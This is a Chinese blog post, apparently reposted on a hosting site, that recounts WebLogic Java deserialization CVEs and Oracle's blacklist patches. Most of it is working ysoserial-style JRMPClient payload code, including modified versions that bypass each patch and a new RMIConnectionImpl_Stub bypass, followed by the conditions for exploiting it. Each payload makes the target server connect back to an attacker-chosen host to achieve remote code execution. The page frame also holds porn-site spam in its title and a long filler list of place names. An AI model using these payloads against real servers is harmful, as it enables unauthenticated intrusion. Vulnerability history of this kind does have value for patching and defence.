中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Weblogic 反序列化漏洞歷史

發布時間:2020-06-06 12:40:58 來源:網絡 閱讀:6779 作者:wx5b0b88843cb2a 欄目:安全技術

Weblogic 反序列化漏洞歷史

0x00 weblogic簡介

WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器

Weblogic 直接反序列化漏洞回顧

1. CVE-2015-4852

利用Java反序列化和 Apache Commons Collections 這一基礎類庫來×××,實現遠程代碼執行。
查看CVE-2015-4852的補丁,發現weblogic采用黑名單的形式來修復這個漏洞,這中修復方案很被動,存在被繞過風險,只要發現可用并且未在黑名單之外的反序列化類,便可造成新的反序列化×××。

2. CVE-2016-0638

weblogic反序列化的點有三個,黑名單ClassFilter.class也作用于這三個位置:

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

使用weblogic.jms.common.StreamMessageImpl的 readExternal()繞過

3. CVE-2016-3510

原理是將反序列化的對象封裝進了weblogic.corba.utils.MarshalledObject,然后再對 MarshalledObject進行序列化,生成 payload 字節碼。反序列化時 MarshalledObject 不在 WebLogic 黑名單里,可正常反序列化,在反序列化時 MarshalledObject對象調用 readObject 時對 MarshalledObject 封裝的序列化對象再次反序列化,這樣就逃過了黑名單的檢查。

0x02 Weblogic JRMP反序列化漏洞回顧

JRMP協議:Java遠程消息交換協議 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技術的、用于查找和引用遠程對象的協議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協議。
RMI:是Remote Method Invocation的簡稱,是J2SE的一部分,
能夠讓程序員開發出基于Java的分布式應用。一個RMI對象是一個遠程Java對象,
可以從另一個Java虛擬機上(甚至跨過網絡)調用它的方法,
可以像調用本地Java對象的方法一樣調用遠程對象的方法,
使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。

1. CVE-2017-3248

這個漏洞就是利用 RMI 機制的缺陷,通過 JRMP 協議達到執行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,這將會序列化一個 RemoteObjectInvocationHandler,該RemoteObjectInvocationHandler使用UnicastRef建立到遠端的 TCP 連接獲取RMI registry。 此連接使用 JRMP 協議,因此客戶端將反序列化服務器響應的任何內容,從而實現未經身份驗證的遠程代碼執行。
JRMPLister代碼:

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

修復方式只是在resolveProxyClass進行一個簡單的判斷,攔截java.rmi.registry.Registry接口。所以很快就有了下一個繞過。

2. CVE-2018-2628

網上公開的繞CVE-2017-3248有這幾種方法:
第一種:
修改ysoerial的JRMPClient,精簡了原來的payload,直接就是一個sun.rmi.server.UnicastRef對象。因為Proxy在這里并不是必需的,所以去掉之后對反序列化利用沒有影響。payload中沒有了proxy,weblogic反序列化的時候,resolveProxyClass根本就沒有被調用到,所以就bypass了CVE-2017-3248的patch。

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        return ref;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

第二種:替換接口
繞過是用java.rmi.activation.Activator替換java.rmi.registry.Registry,從而繞過resolveProxyClass的判斷。其實這里對接口沒有要求,不一定是rmi接口,隨便找一個接口都行,比如java.util.Map

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
                Activator.class
        }, obj);
        return proxy;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

第三種:weblogic.jms.common.StreamMessageImpl
StreamMessageImpl這個點在反序列化的時候沒有resolveProxyClass檢查,從而繞過。
Oracle在2018年4月發布的補丁中修復方式是將sun.rmi.server.UnicastRef加入了黑名單中,weblogic.utils.io.oif.WebLogicFilterConfig.class:

private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
  private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
  private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };

這個修復方式只對提交的bypass(Payload 1)有效,而Payload 2和3依然可以使用。分析了一下后兩個payload依然可以使用的原因: 主要是sun.rmi.server.UnicastRef經過了java.rmi.server.RemoteObjectInvocationHandler的封裝,在序列化生成payload時,修改了UnicastRef對象寫入流程。

3. CVE-2018-2893

針對前面漏洞沒有修復徹底的問題,在今年7月份的補丁中進行了如下修復:

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

黑名單進行了更新:

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

0x03 繞過CVE-2018-2893

CVE-2018-2893還是可以繼續繞的,根據前面的分析可知,我們只需要找一個類似java.rmi.server.RemoteObjectInvocationHandler的類進行替換,就能繼續繞過了。那么這個類應該滿足以下條件:
繼承遠程類:java.rmi.server.RemoteObject不在黑名單里邊(java.rmi.activation. 、sun.rmi.server.
隨便找了一下,符合條件的挺多的:

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

RMIConnectionImpl_Stub 繼承至--> java.rmi.server.RemoteStub 繼承至-->java.rmi.server.RemoteObject
稍微改一下payload便能繼續利用了:

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;

@SuppressWarnings ( {
    "restriction"
} )

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

0x04 利用條件

RMIConnectionImpl_Stub替換RemoteObjectInvocationHandler之后,payload又能用了。
后續利用需要配合Jdk7u21來執行命令:
1、服務器沒有禁用T3、T3S協議。
2、weblogic服務器需能訪問到外網,才能發起JRMP請求。
3、服務器使用低版本jdk

參考鏈接:
https://xz.aliyun.com/t/2479
https://paper.seebug.org/584/
http://drops.the404.me/637.html

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

南皮县| 屏南县| 济阳县| 莎车县| 宝坻区| 海兴县| 临夏市| 泽州县| 洪江市| 周口市| 金阳县| 定州市| 绥江县| 蓬安县| 壶关县| 曲松县| 岳普湖县| 嘉兴市| 报价| 沈丘县| 灵台县| 舒兰市| 巴林左旗| 长顺县| 龙山县| 拉孜县| 高州市| 茶陵县| 怀化市| 公主岭市| 盘山县| 喀什市| 桂林市| 黑山县| 和硕县| 云南省| 宁安市| 秦安县| 光泽县| 富宁县| 新营市|